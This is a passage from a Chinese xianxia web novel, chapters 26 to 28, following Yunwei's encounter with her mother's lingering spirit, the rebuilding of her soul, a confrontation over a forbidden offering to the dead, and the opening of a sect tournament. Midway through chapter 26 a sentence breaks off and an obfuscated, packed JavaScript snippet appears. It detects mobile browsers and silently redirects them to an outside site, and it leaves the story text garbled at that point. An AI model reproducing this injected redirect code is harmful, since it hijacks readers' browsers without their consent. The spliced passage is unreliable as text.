然灵力行经未及三成,便如陷入泥沼,寸步难行,更有一股阴寒的逆气自玉简反噬而出,直冲她心脉。 云微喉头一甜,点点猩红染透素白衣襟,眼前阵阵发黑,勉力以手撑地方未倾倒。 秘录……是假的?还是被人动了手脚? 26.母亲 念头方起,云微怀中蓦地一空。 母亲留下的素色旧香囊滑落在地。一枚温润的羊脂玉环从中滚出,“叮”一声轻响,竟碎裂开来。 刹那间,柔和白光自玉环碎片中弥漫升腾,迅速凝聚成一道朦胧却无比清晰的虚影。 那人眉目温婉,气质清雅,正是她魂牵梦萦、却已阔别十三年的母亲——云青。 她依旧穿着记忆里最常穿的素白襦裙,发髻简单,静静地看着她。 云微瞳孔骤缩,呼吸凝滞。 “云儿。”母亲冲她笑了笑。 “母亲?”云微声音干涩,身体下意识前倾,想抓住那道虚幻的身影,“您没死?那为何要藏身于此?” 闻言,母亲摇了摇头,目光落在她唇边未干的血迹与衣襟上的点点猩红,眼中痛惜更甚。“傻孩子,我早已身死道消。这仅是我当年分离出的一缕残识,封于这枚玉环之中。我嘱托遗妹,若她有心向道,便捏碎此玉,我神识感应,自会显化指引她前来寻我。可惜……” 她叹息一声,带着无尽惋惜:“她当时年幼惊惶,未曾听清我最后的话语,只将此物当作念想珍藏。我这一缕神识,便也一直沉寂至今,直至方才玉碎显形。” 云微怔了怔,若遗妹当时能记清嘱托,母亲的神识便能指引她逃离那个重男轻女、视女子如草芥的赤水村,踏上修行之路,改变命运。 差一点,她就拥有了逃离苦海的机会。 不等云微想完,母亲的虚影忽然晃了晃,周身白光淡了几分。 “方才你魂力激荡,气血逆行,并非秘录有假。”她凝了凝神,目光落在云微膝前的玉简上,语气里添了几分郑重,“那《归元养魂秘录》是我当年创下的独门秘法……若强行参悟,便会如你方才那般,引魂力逆冲,反噬己身。” 她抬眼,又道:“是我疏忽,未曾料到我的云儿会需要它,甚至不惜以残魂之躯强行参悟。” 她虚幻的手轻轻抬起,似乎想触摸云微苍白的脸颊,眼中满是心疼。 云微垂在身侧的手指轻轻蜷缩,指尖因用力而泛出浅白。 她望着母亲虚幻的身影,眸光沉静如深潭,不见半分怨怼,只那微微前倾的身姿,泄了几分压抑的急切。 原来如此,竟是这般阴差阳错。她怎会怨母亲?母亲留下这缕残识,原是为了指引遗妹,如今却成了救自己的关键。 那些因秘法反噬而生的痛楚早已淡去,此刻云微心头翻涌的,是她积压了十三年的疑问。 “母亲,当年寒魄渊之事,究竟是何缘由?”云微轻声问道,眼帘微抬,目光直直落在母亲虚影上,那双素来清冷的眸子里,此刻蒙着一层极淡的雾,连带着眼尾都微微泛红。 那道虚影微微晃动,眼睫垂下时,似有泪光在白光里闪了闪。 “云儿,我的孩子……前尘种种,真相为何,需你自己去寻。我此刻现身,非为解惑,而是护你。” 说罢,她虚幻的手又往前伸了伸,指尖几乎要触到云微的脸颊,却在即将相触时停住,仿佛怕这一碰,连这点残识都会散了去。 云微心口一紧,眸底掠过一丝失落,却没有再追问。 她知道,母亲既不愿说,再问也是徒劳。 云青望着她,唇边忽然绽开一抹极浅的笑,那笑意漫过眉眼,让本就温婉的轮廓更添了几分柔和。 可云微看得清楚,她虚影边缘的白光正簌簌往下掉,像被风吹落的碎雪。 “我会燃尽这缕残识,为你重塑魂基。活下去,走下去,母亲信你。”她说着,虚幻的指尖轻轻点了点云微的眉心。 重塑魂基?可她只希望母亲能继续陪在她身边。 那虚影明明灭灭,云微伸手去抓,指尖却只穿过一片虚无。 她转瞬便清醒了。母亲早已不在,纠结于这些有何用?她燃尽神识只为助自己,是盼她活下去,查清真相。 宗门大比在即,谢青峰还在高位,母亲的冤屈等着昭雪,她没有时间沉溺。 半晌,云微缓缓抬手,食中二指并拢,在眉心轻轻一点,这是归云宗立誓时的起手式。 她眸光扫过母亲虚影,不见半分哀戚,只剩清明锐利:“我云微在此立誓,必以手中之剑,洗清母亲多年污名。若违此誓,魂飞魄散,永不超生。” 云青微微颔首,唇边漾开一抹浅淡的笑意,一字一顿:“母亲信你。” 话音未落,她周身白光骤然炽盛,化作一道凝练的暖白光流,钻入云微眉心灵台。 云微闭上眼,双手交叠置于腹前,凝神静气。 这一次,体内再无半分滞涩阴寒。 那道暖流在她经脉中缓缓游走,所过之处,先前因残魂受损而生的刺痛尽数褪去,原本因残魂受损而紊乱的灵力也同样安分下来。 末了,她缓缓睁开双眼,竹舍内空寂无声,只有窗外竹影摇曳。 母亲的身影已然消散无踪,仿佛从未出现过,唯剩那个旧香囊孤零零地躺在地上。 一滴冰凉的液体毫无预兆地滑过云微的脸颊,落在她的手背上。 她微微一怔,抬手触到那点湿意,心头掠过一丝陌生的茫然。 她不喜欢哭。幼时练剑,再苦再累,摔得骨裂筋折,她也未曾落泪,只因眼泪是软弱的宣告,是向对手示弱的破绽。 剑道之路,容不得半分软弱。 可这滴泪,不为软弱,只为诀别,为一个再也无法触及的人。 就在此时,竹舍的门被人推开,少年裹着一身夜露的寒气闯了进来。 他一眼便看到云微衣襟上刺目的斑斑血迹与她眼角未干的湿痕。 他见过她清冷如霜、拒人千里;见过她杀伐果断、剑气纵横;也见过她魂寄残剑、虚弱不堪……却从未见过她流泪。 谢澜忱几乎是踉跄着单膝跪地,双手紧紧捏住了她的肩膀,力道之大几乎要捏碎她的肩骨。 他下颌紧绷,钴蓝色的眼眸死死盯着她:“怎么回事?!说话!是不是宗主在秘录里面动了手脚伤了你?我就知道他不怀好意!你……” 云微被他这突如其来的钳制和近乎咆哮的质问弄得眉峰紧蹙,本能地想挣脱,但就在触及少年胸膛衣料的瞬间,她忽地顿住了。 谢澜忱在害怕。怕什么?怕她死了?同生契?还是别的?这个念头在她心中一闪而过。 这个向来倨傲别扭、与她针锋相对的宿敌,竟会因她受伤吐血、甚至一滴泪而如此失态? “放开。”云微冷声道。 少年面色一滞,看着她清冷的眉眼,那股焦躁感还在,却依旧松开了手。 他深吸一口气,努力让自己的声音听起来平静些:“方才发生了什么?” 云微不语,自顾自地站起身,残魂修复后那种由内而生的稳固感让她的身姿更显挺拔清冷,气势卓然。 只见她指尖微动,一道灵力卷起地上的香囊和碎玉,稳稳落入她手中。 云微低头看了看,眼神是罕见的柔和与珍视。 “不是秘录的问题。”她开口。 “秘录是真的,只是我无法参透。方才气血逆行,引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133371|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了我母亲留在香囊中的一缕神识显化。”她言简意赅地将香囊来历、母亲残识出现、以及秘录的真正关窍解释了一遍。 谢澜忱听着她的叙述,目光落在她紧握的香囊上,钴蓝色的眼眸深处翻涌着复杂的情绪。 原来……是为了她母亲。 “所以你没事了?”他低声问,目光在她身上逡巡,似乎在确认她是否真的无恙。 云微点头:“嗯,母亲助我修复了残魂。” 少年沉默片刻,也跟着站起身,那双钴蓝色的眼瞳却始终没离开过她身上,仿佛黏住了一般。 他眉峰微蹙,似是忽然想起了什么,喉间动了动,终是开口问道:“我曾在归云宗后山见过一块无名青石碑,孤零零立在溪涧旁,碑上连个名字也无。想来,那便是你为你母亲立的吧?” 云微瞥了他一眼,眼神不悦:“是。我母亲死后,尸骨无存,归云宗无人为她立碑,更不许祭奠。我便在宗门后山一处极其隐秘的溪涧旁,寻了块青石,权当是母亲的安息之所。可你总挡在我的必经之路上,年复一年。” 她记起往日里,少年总爱默倚在道旁老树下,怀中抱着长剑,偏生脸上带着种她读不懂的复杂神色,似郁似沉,又藏着几分说不清道不明的意味。 他从不近前,也不言语,只用那双钴蓝色的眸子沉沉地望着她。 她那时只当少年是谢青峰派来的眼线,专来监视她动向,防她追查母亲旧事,故而每次去祭拜母亲时,她都目不斜视,视若不见,心底厌烦渐生,时日一久,竟也对少年积了几分怨怼。 “谢澜忱,”云微开口,清冷的眸光落在他脸上,“你为何那般恨我?”她问得直接,不给他丝毫回避的余地。 谢澜忱被问得一怔,那双总带着几分漫不经心的眼瞳里闪过一丝慌乱,却转瞬被惯常的疏离掩去。 他嗤笑一声,别过脸去,冷声答道:“我……我不过是恰巧在那儿练剑罢了。” 末了,少年终是没忍住,侧脸对着她,声音放轻了些:“不……我只是……不想你被巡山的执法堂弟子撞见。宗主对你私下祭拜之事极为不喜。那时你处境本就艰难,若再被抓到把柄……” 云微瞥了他一眼,有些意外。 她一直以为少年是为了监视她,却没想过是这个原因。 那些年,执法堂的人确实盯她很紧,若真被撞见祭拜母亲,恐怕又会被安上什么罪名。 她看着谢澜忱低垂的眉眼,那股惯常的疏离淡了几分。 原来他并非一直与她为敌。 “多谢。”云微终于开口,声音里少了几分疏离,“无论是当年,还是今夜藏书阁。” 她顿了顿,补充道:“先前我魂体残损,七情淡漠,对你多有疏离,并非刻意。” 闻言,少年明显愣了一下,随即眼中飞快地掠过一丝光亮,嘴角似乎想往上翘,又被他死死压住,故作冷淡地偏过头:“谁要你谢?不过是顺手罢了。” 他那点别扭心思,她如何看不破?可如今残魂初愈,实在没精力去探究这少年忽冷忽热的性子。 云微抬眸,眼中没什么多余情绪,只淡淡开口:“既然话已说开,你走吧。” 她需要时间消化今夜种种,也需要巩固刚刚修复的魂元。 谢澜忱抿了抿唇,沉默了好一会儿,才闷闷地应了一声:“你残魂新愈,别乱动用灵力,好好休息。” 云微点了点头,语气如常:“明日见。” 残魂既复,魂基重铸,这宗门大比的魁首之位,她云微,志在必得。 27.揭发 卯时,断崖。 云微静立崖边,素衣如雪,面纱覆颜,脚下是翻涌不息的云海,偶有苍鹰唳鸣,破开云雾,更显此地孤绝。 不多时,阿念气喘吁吁的身影出现在她身后。她裹紧了略显单薄的碎花红布衣,小脸冻得发白,怀里却紧紧抱着一个油纸包。 云微淡淡开口:“你来了。” 少女根骨平平,心性倒是执拗。归云宗大比,首轮开始前便要筛掉大半庸才,她这般微末修为,连门都摸不到,究竟为何执着至此?复仇?或是另有所图? 阿念把油纸包往前递了递,小声道:“我…我带了热包子……” “不必。”云微打断她,声音清冷,“习剑需空腹凝神。你根基不稳,急于求成只会伤己。我不知你深浅,先练最基础的刺击。” 阿念咬了咬下唇,依言往后退了好几步,笨拙地从腰间解下那柄明显过长过沉、锈迹斑斑的铁剑,深吸一口气,摆开一个极其生疏的架势。 少女握剑的手势全无章法,五指虚扣,下盘更是虚浮不稳。 一招“白虹贯日”刺出,长剑竟脱手飞出,化作一道寒光,直直刺向云微面门。 “啊!”少女惊叫一声,吓得魂飞魄散,下意识想扑过去阻拦,却已鞭长莫及。 “嗡——” 只在剑尖即将触及面纱的刹那,云微右臂微抬,剑尖便稳稳悬停在她指尖前半寸,纹丝不动。 她手腕一转,在剑脊上看似随意地一拂一引,那剑便乖顺地落入她掌中。 阿念看得目瞪口呆,小嘴微张,半晌才找回声音:“好……好厉害!我……” “腕沉三分,力贯臂膀而非指尖。”云微将剑递还给她,神情未变,“‘白虹贯日’,重意不重力。意在心,神在剑尖,气随剑走,而非蛮力催发。力由足下生根,经腰腹通达臂腕,节节贯通。你根基未稳,强行发力,徒有其形,反受其害。” 剑道至理,说来简单,悟透却难。 阿念接过剑,羞愧地低下头:“姐姐……我是不是太笨了?我该怎么办啊?” 云微视若无睹:“今日起,每日练此基础刺击五百次,凝神静气,体悟劲力流转,待下盘稳固,腕力凝实,再求变化。” 归云宗大比虽广纳英才,但首轮亦需考察根骨与基本修为。 以少女目前的修为,莫说在宗门大比上争什么名次,怕是连参加初轮的资格都没有。 阿念自己大约也察觉到了,不敢有丝毫懈怠,认认真真重新摆开架势,只是动作依旧笨拙僵硬,每一次刺出都显得格外吃力。 “姐姐……”她忽然停下,手指紧张地绞着衣角,“今夜是‘寒衣节’……是给…给在意的人烧纸钱的日子……”她声音越来越小,偷偷观察云微的脸色。 寒衣节?民间祭祀亡魂的日子。她竟想在归云宗做这个? 云微则回过神,目光重新落在她身上,示意少女继续。 阿念得到默许,鼓起勇气,声音更低:“归云宗……能烧纸吗?我……我带了些纸钱在行囊里。” 烧纸? 归云宗乃清修之地,戒律森严,明令禁止此类民间祭祀行为,视为不洁,易招阴秽,扰乱清修之地灵气。 她此刻提出这明显犯禁的要求……是当真无知无畏到了愚蠢的地步?还是别有用心,刻意试探? 云微冷声道:“宗门严禁烟火祭祀,触之即咎。” 她看到阿念瞬间惨白的脸和眼中迅速积聚的泪水,心中那丝疑虑并未消散,反而更添警惕。 少女情绪外露,心思单纯得近乎愚蠢,在这龙潭虎穴,极易被人利用。 “今日到此为止。”不等她再说出任何可能惹祸的话语,云微断然截住话头,“勤练基础,莫生妄念。” 说完,她转身离去,心中笃定,少女不会听话,需得暗中留意她的行踪。 亥时,断崖。 月隐星稀,白日里偶尔可见的飞鸟早已归巢,唯有巡夜弟子的灯笼在远处山道上如同几点微弱的萤火。 云微并未安歇,她隐在断崖旁一株虬枝盘结的古树茂密枝叶间,气息收敛得几近于无,与浓重的黑暗融为一体。 果然,没过多久,一个娇小的身影便鬼鬼祟祟地摸上了断崖,正是阿念。 她怀中抱着一个鼓囊囊的小包袱,警惕地四下张望片刻,才哆哆嗦嗦地蹲下身,从包袱里取出几叠粗糙的黄纸和一个火折子。 火苗“噗”地一声燃起,在寒风中摇曳不定,映亮了阿念带着泪痕的小脸。她将黄纸一张张投入火中,火光跳跃,映着她虔诚又悲伤的神情。 “恩人……今天是我们丹霞镇的‘寒衣节’……阿念……阿念也给您烧点……”她声音带着哽咽,断断续续,“阿念没用……当年太小了……被那些水妖……满地血……吓破了胆……就知道哭……哭得停不下来……都没……没来得及好好跟您说声谢谢……” 她用力抹了把眼泪,又道:“恩人……您放心……阿念一定会拼命练功……通过宗门大比……让所有人都知道您是大善人!” 树影中,云微的身形几不可察地微微一震。 乌江镇……水妖……吓哭的小女孩……三年前丹霞镇诛杀为祸水妖的画面瞬间清晰起来。满地狼藉中,那个缩在母亲怀里、看着她染血长剑嚎啕大哭、眼神充满恐惧的女孩……竟是阿念? 她来此,是为祭我?为我正名? 就在少女对着火堆虔诚叩拜时,云微从古树上无声滑落,足尖点地,纤尘不惊,几步便走到她面前。 “阿念。”云微忽然开口,声音在寂静的崖边显得格外清冷。 不能再让她继续下去了,火光太显眼。 “啊——!”少女惊叫一声,一屁股跌坐在地,惊恐万状地看着云微,“你……你怎么会……” “你竟在归云宗禁地,私燃明火,祭祀那‘人人得而诛之的魔头’?” 阿念垂下头,眼泪汪汪:“我……我不是故意要违反门规……我……” “够了。”云微打断她,毫无转圜余地,“念你年幼无知,此事到此为止。立刻熄灭火堆,收拾干净所有痕迹,回竹舍去。” 她必须如此冷酷。 阿念根本不明白,她的举动一旦被人发现,会招致何等祸患。 “你们果然在这里!”一个声音骤然响起。 赵常胜的身影从另一侧山石后转出,脸上是抓到把柄的狞笑,“哼,我就知道你们居心叵测!一个来历不明,一个修为低劣还心怀鬼胎,在此私祭邪祟,秽乱宗门禁地!人赃并获,看你们还怎么狡辩!” 这人,真是阴魂不散。 云微心中明了:昨日报名时,赵常胜插队不成,反而被宁兮河训斥,颜面扫地。 看来他对此怀恨在心,特意盯梢报复来了。 赵常胜被云微那毫无温度的眼神看得心头莫名一悸,随即梗着脖子强辩:“白日在断崖,这小丫头亲口问你归云宗能不能烧纸!你未严词阻止,便是默许怂恿!如今她在此烧纸,你亦在此窥视,分明是同谋!休想抵赖!” 阿念吓得脸色惨白,急急辩解:“是我自己要烧的……她劝过我的……是我……” “闭嘴!”赵常胜厉声打断她,仿佛已经掌握了生杀大权,“人赃并获,还敢狡辩?跟我去执法堂走一趟吧!”说着,便欲上前拿人。 云微身形未动,只是冷冷地看着他,如同看一只上蹿下跳的猴子。“赵常胜,你口口声声门规,可知门规亦有例外?” 赵常胜面色一怔,狐疑道:“什么例外?” 看来他根本不知,在归云宗这些年,想必整日只知钻营拍马,欺压弱小,连门规都未曾通读。云微心想。 不等她开口,赵常胜忽然抬高声音,朝旁边的阴影喊道:“谢师兄!这女人牙尖嘴利,藐视门规!您可要为我做主啊!” 阴影里传来一声极轻的嗤笑。 只见一个玄衣少年慢悠悠地从树影深处踱步而出。 正是谢澜忱。 他目光先是懒洋洋地扫过一脸邀功的赵常胜,那眼神如同在看一摊令人作呕的烂泥,充满了毫不掩饰的厌烦与轻蔑。随即,他的视线转向了云微。那目光幽深难辨,像淬了寒冰的深潭,带着一种穿透性的审视,仿佛要透过那层薄薄的面纱,直刺她的灵魂深处。 他怎么会在此刻出现?是巧合,还是……他也在盯着阿念?云微心头一紧,面上却依旧沉静如水。 “赵常胜,你喊我来,就是为了看你这点鸡零狗碎?”谢澜忱终于开口,嘴角勾起一抹凉薄的弧度,目光扫过赵常胜,“怎么,平日被宁师姐训得不够,晚上还要巴巴地凑上来,让我也训你几句过过瘾?还是觉得……我看起来太闲,专管你这等破事?” 赵常胜连忙换上谄媚的笑容:“谢师兄明鉴!我知道您忙着帮长老们筛选初轮人选,可这两人行踪鬼祟,违反禁令,证据确凿!尤其是这戴面纱的女人,仗着自己有点三脚猫的本事,牙尖嘴利,完全不把我们归云宗放在眼里!” 忙着筛选初轮人选?难怪今日一整天不见他人影。 少年既然来了,那此事会如何发展?是秉公执法,还是…… 谢澜忱像是根本没听见赵常胜喋喋不休的诋毁,径直走到云微身边,距离不远不近。 赵常胜见谢澜忱靠近云微,心中暗喜,以为谢师兄终于要出手惩治这让他恨得牙痒的女人了,连忙指着云微,添油加醋地告状:“谢师兄,就是她!就是她教唆这丫头烧纸祭奠那……” 云微迎上少年投来的目光,压低声音:“不要暴露我们相识,否则后患无穷。” 谢澜忱眉梢几不可察地挑了一下,眼神里掠过一丝了然,随即又恢复了那副懒洋洋、置身事外的模样,仿佛刚才那一瞬的交流只是错觉。 云微不再看他,转向赵常胜,声音冷冽:“我们确实在此祭奠逝者,但此举,并未违反宗门门规。” “禁令所指,乃是祭祀外道邪神、淫祠野鬼,或行巫蛊厌胜等秽乱宗门、动摇道基之举。” “但……若所祭奠者,乃归云宗同门,感念其生前护佑之功、泽被之德,于僻静处略尽哀思 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只有山风呼啸,火焰余烬偶尔爆出细微的噼啪声,此刻却显得格外刺耳。 赵常胜的脑子嗡嗡作响。 云微?那个被宗主亲自下令诛杀、被整个宗门唾弃为堕魔叛徒的云微……她们竟敢祭奠她? 他下意识地就想看向谢澜忱藏身的方向,想寻求这位宗主义子的态度。 上次他因对云微落井下石,被谢澜忱当众冷斥的记忆还历历在目,让他心有余悸。 他小心翼翼地用眼角余光飞快瞥去,只见谢澜忱双手抱臂,神色晦暗不明,嘴角那丝惯常的讥诮似乎消失了,完全看不出喜怒。 他……他没反应?难道…… 是了!云微和谢澜忱可是死对头!当年云微身为大师姐时,没少压制这位突然冒出来的宗主义子!谢澜忱对她恐怕也是恨之入骨! 上次训斥自己,或许只是因为自己做得太过难看,丢了宗主的脸面?或者……是谢澜忱想在宗主面前维持公正的形象?如今这两人竟敢祭奠云微,谢澜忱怕是乐得看她们倒霉,根本不会插手。 想通了这点,赵常胜胆气陡壮,脸上是毫不掩饰的鄙夷,几步冲到那堆灰烬旁,抬脚狠狠踢去,将燃烧的纸钱和灰烬踢得四散飞扬,火星乱溅: “云微?我呸!”他声音尖利,充满了唾弃,“一个堕入魔道、屠戮无辜百姓的叛徒!死有余辜!魂飞魄散都是便宜她了!你们给她烧纸?我看你是脑子被门夹了!这种宗门败类、人神共愤的东西,就该永世不得超生!” 云微冷眼看着他,右手悄然按在剑柄上,眸底寒意渐浓,指节因用力而泛白。 杀意,在胸中翻涌。 下一瞬,她眼角余光瞥见一道刺目的寒光从赵常胜身后骤然迸发。 “什么情况……”他全身的汗毛瞬间倒竖,转头便瞧见那道剑光已近在咫尺。 他哪里还顾得上踹火堆,连忙抱头蹲下,狼狈如鼠。 凌厉的剑气擦着他的头顶掠过,发出刺耳的破空尖啸,带起的劲风将他头发都削断几缕。 云微看得分明:削发代首,已是警告。 那剑光去势不减,狠狠地斩入他身后崖边一片密集的古树林。 “咔嚓!” 只见三棵足有成人合抱粗、枝干虬结的古树,从距离地面约一人高的位置,被那道剑气平平整整地削断。 那巨大的树冠失去了支撑,轰隆隆地倒了下去,巨大的声响在空中回荡,激起一片飞鸟惊鸣。 好凌厉的剑气……少年回宗不过两日,修为竟精进至此?莫非是父亲在暗中相助? 父亲素来对他青眼有加,若说私下里传了他什么秘法,倒也并非不可能…… 云微默然,按在剑柄上的手缓缓松开,目光掠过身侧那道玄色身影,眸色沉了沉。 少年依旧站在原地,仿佛从未动过。只是他抱臂的姿势已经放下,右手随意地垂在身侧玄衣旁,修长的指尖似乎还萦绕着一丝未散的、令人心悸的剑气微芒。 他俊美的脸上再无半分玩世不恭的轻佻,那双总是带着几分讥诮的眼睛,此刻正翻涌着冰冷的怒意,斜斜睨着那个抱头蹲在地上、抖如筛糠的赵常胜。 那眼神,冰冷刺骨,竟真似动了杀心?为何? 赵常胜狼狈地转过身,朝着谢澜忱连连求饶:“谢师兄饶命!谢师兄饶命啊!弟子知错了!弟子再也不敢了!是弟子有眼无珠!” 谢澜忱眯了眯眼,慢条斯理地开口道:“我记得,上次在后山,我说过。” 他顿了顿,又道:“再让我从你嘴里听到‘云微’这两个字,你的舌头,就别想要了。” 话音落下的瞬间,只听“锵”的一声清越龙吟,少年的右手已握住了腰间孤鸿剑的剑柄。 剑锋并未完全出鞘,只露出了短短三寸,剑身微微颤动,在稀薄的月光下反射出一点令人心胆俱裂的寒星。 “现在,是我帮你割了它,还是你自己动手?” 28.第 28 章 云微的目光从谢澜忱冰冷的侧脸移开,落向地上瑟瑟发抖的赵常胜。 指尖在袖中几不可察地收紧,骨节泛出浅白。 此人固然可憎,但若让谢澜忱在此地当众动私刑,不仅坐实了她“包庇”的流言,更会引来不必要的关注,于她蛰伏复仇的计划大为不利。 “这位师兄,”云微声音平静无波,“此人虽口出恶言、藐视门规,但其行止卑劣,本就污秽视听。与其脏了师兄的剑,不如交由执法堂按律严惩,既以儆效尤,也免得污了此地清净。”执法堂虽非善地,却尚有明规可循,总能暂时压下此事。 少年微微侧头,幽深的目光落在她覆着面纱的脸上,带着一丝难辨的复杂。 她撇清得如此干脆……是真要护那烧纸的少女,还是怕他行事冲动惹下麻烦,最终累及她?抑或两者兼有? 他嘴角勾起一抹极淡的嘲讽,几不可见,手腕轻抖。 “锵!” 孤鸿剑归鞘,清越之声划破夜色。 谢澜忱看也未看瘫软在地的赵常胜,只对着云微的方向,懒洋洋吐出二字:“随你。” 压力骤消,赵常胜如蒙大赦,连滚带爬地朝山下逃窜,掉在地上的发带都顾不上捡,眨眼便没了踪影。 危机暂解,云微才将目光转回阿念身上。 少女脸色依旧惨白,眼中噙着泪,更多的却是劫后余生的茫然与后怕。 云微的目光在她脸上多停留了半瞬,才缓缓走近,居高临下地看着她,冷声道:“你昨日说,父母花光积蓄送你至此,拿不到魁首便不认你。”她顿了顿,语气听不出情绪,“是假的吧?” 阿念身体一僵,对上云微那双仿佛能洞穿一切的眼眸,羞愧与慌乱交织。 她咬了咬唇,小声道:“……是假的。对不起,姐姐,我骗了你。”她鼓起勇气,声音带着哽咽,“其实……我是为了我的恩人来的!我想在大比上证明她是清白的!她救了我们全镇的人,不是魔头!我……我看见你刚才帮我,还替我说话……” 她偷偷瞄了眼谢澜忱,声音更低,“你果然像我想的那样,是个和我恩人一样的大善人……” 大善人? 云微神色微怔。 她救人无数,宗门之内,同门却多是惧她、恨她、妒她。 是因她女子之身?是因她不屑攀附、独行孤高?还是仅仅因为她比他们强? 如今这“善人”二字,于她而言,更像一句遥远的讽刺。 她所求的,不过问心无愧,剑下清明。 世人如何评说,她早已不在意。 “姐姐,”阿念忽然怯生生开口,打断了她的思绪,“你……你和那位谢师兄……认识吗?他是我恩人的宿敌……我不喜欢他……不过……我刚才好像看到你们……说悄悄话来着?虽然没听清……” 少女倒是观察得仔细。 “不认识。”云微斩钉截铁,眼神坦荡平静,毫无波澜。 她没有与阿念相认的打算,眼下必须斩断任何可能将“无名”与“云微”联系起来的线索。 阿念的恩人是已死的“魔头”云微,与此刻的“无名”毫无干系。承认认识谢澜忱,承认自己是云微,只会让这单纯的少女卷入更深的漩涡,也暴露她与谢澜忱之间的“羁绊”。 闻言,少年脸上的讥诮更深了。 他盯着云微看了足足两息,深邃的眼眸里翻涌着她读不懂的情绪。 是恼怒她的否认? 末了,谢澜忱什么也没说,只从鼻腔里发出一声意味不明的轻哼,转身融入更深的黑暗,玄衣身影眨眼便消失不见。 走得倒是干脆。云微心想。 她收回目光,对阿念道:“收拾干净,回去歇息。勤练不辍,方有资格参与大比首轮。”这是她此刻唯一能给的、不带身份的期望。 至于证明清白……这条路,比她想象的要艰难百倍。 阿念用力点头,眼中重新燃起希望的火苗:“嗯!姐姐放心!我一定拼命练!”她手忙脚乱地扑灭残余火星,收拾散落的黄纸灰烬。 * 宗门大比当日,竹舍。 晨光熹微。 云微盘膝于榻上,周身灵力运转刚歇,最后一缕气息如游丝般敛入丹田。 她缓缓睁眼,眸中清光一闪而逝,伸手取过一旁的面纱戴上,遮住大半容颜,心中念着该去看看阿念如何了。 就在这时,颈间那颗云踪珠毫无征兆地亮起。 她中选了。 云微眸光微动,并无意外。 以她如今的修为,若连初选都过不了,谈何复仇? 她起身,素白衣袂垂落,纤尘不惊。 指尖抚过冰凉的珠面,下一瞬,眼前景象如水波般扭曲荡漾。 短暂的失重感后,双脚已踏在一片坚硬冰冷的白石地面上,清冽的空气带着山巅特有的寒意涌入鼻腔。 这是一片巨大的广场,白玉铺地,云气缭绕。 四周已站了不少人,粗略望去约有百余人。 云微迅速扫视:人群中,她看到了缩在角落、眼神躲闪、脸色依旧发白的赵常胜;也看到了不远处身姿挺拔、神情严肃的宁兮河;却没见到阿念娇小的身影,也未见那抹刺目的玄色。 阿念……果然未能入选。 云微心中了然,并无太多波澜。 她根基太浅,纵有决心,时间终究太短。 不过,宗门大比凶险莫测,于她而言,淘汰反是幸事。 至于谢澜忱……想到那玄衣少年,云微眉梢几不可察地动了一下。 这两日各自修炼,他未曾现身,想必还在为那夜断崖之事介怀? 同生契虽将两人性命相连,然心不同道,终究陌路。 云微敛去心绪,迈步走入队列之中。忽闻前方人群里传来几声刻意压低的议论,原是几个身着归云宗外门服饰的弟子正凑在一处交头接耳。 “听说了吗?这次幻阵的规则大改了!居然是要‘寻人’?”一个较矮的男弟子忧心忡忡地道。 “可不是嘛!而且长老们对此事竟然只字不提……我看啊,定是宗主想考验少宗主……呃,谢师兄!”旁边一个女弟子接话道。 “什么少宗主?宗主还没正式颁下谕令呢。”另一个年长些的男弟子低声告诫,语气带着敬畏,“不过谢师兄天资卓绝,冠绝同辈,宗主又视如己出,倾囊相授,这位置,早晚的事。” 云微听着这几句吹捧,眸光未动,只心底掠过一丝冷峭。 谢澜忱的风光,从来都与她无关。 当年宗门上下赞她“百年一遇”时,他还只是个不起眼的外门弟子;如今她成了人人唾弃的“魔头”,他倒成了众星捧月的未来宗主。 世事翻覆,不过如此。 她垂在袖中的手微微一松,指尖那点因听到旧闻而起的波澜,转瞬便被压了下去。 这些虚名浮利,于她复仇之路,不过是过眼云烟。 “肃静!”一个尖利刻薄的声音陡然响起,压过了场中的窃窃私语。 众人循声望去,只见广场尽头的高台之上,一位身着深褐色长老服、面容干瘦枯槁的老者负手而立。 他身形不高,却带着毫不掩饰的审视与挑剔。 当视线掠过云微时, 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“寻找同门?哪位同门?” “是啊!长老!总要告诉我们姓名或者模样特征吧?否则这茫茫幻境,如何去找?” “请长老明示!否则我等如何完成?”场下顿时响起一片惊疑不定的疑问声,众人面面相觑,皆感茫然。 “聒噪!”吴长老不耐地厉喝一声,枯手一挥,所有声音戛然而止。 他目光转向高台一侧的阴影,语气竟奇异地缓和了几分:“澜忱,烦请你为这些不成器的弟子,做个‘引子’吧。” 阴影中,一个身影缓步而出,踏入了广场中央法阵的光芒边缘。 玄衣如墨,身姿挺拔。 正是谢澜忱。 果然是他。 云微眼神平静无波,对此结果毫不意外。 以他的修为实力,若落选才是天大的笑话。 难怪刚才在人群中遍寻不见其踪。 少年神情淡漠,冷冷扫过全场一张张或紧张、或期待、或敬畏的脸孔。 当他的目光掠过云微所在的位置时,极其细微地停顿了半瞬,随即又视若无睹地移开,仿佛她与旁人并无二致。 “诸位!”吴长老的声音再次拔高,带着刻意彰显的尊崇,“这位,便是宗主座下义子,我归云宗年轻一辈当之无愧的魁首——谢澜忱!他修为精深,天赋卓绝,乃我宗门未来砥柱!此次幻阵任务,便是……” “吴长老,”谢澜忱冷冷开口,直接打断了他近乎谄媚的吹捧,语气带着毫不掩饰的厌烦,“说重点。莫要浪费时间。” 吴长老被噎了一下,眼底闪过一丝不易察觉的恼怒,却不敢发作,只得干咳一声:“入阵之后,尔等皆为单独行动,但核心任务不变!幻阵虽有凶险,但性命无虞!若无法承受,捏碎尔等颈间云踪珠,便可立刻传送出阵,视作弃权!” 他枯瘦的手掌一翻,一面巨大的、流转着水波般光华的铜镜悬浮而起,“此乃‘观尘镜’,尔等于阵中一切所为,皆会显化于此镜之上。时限一到,凡不合格者,一概淘汰!” “现在,入阵!” 随着他最后一个字音落下,云微颈间的云踪珠光芒大盛,与阵光呼应,随即五感在刹那间被剥离,唯余一片混沌与失重感。 下一瞬,焦糊味、血腥气与恶臭交织在一起,混杂着绝望的哭喊与哀嚎,从四周涌来。 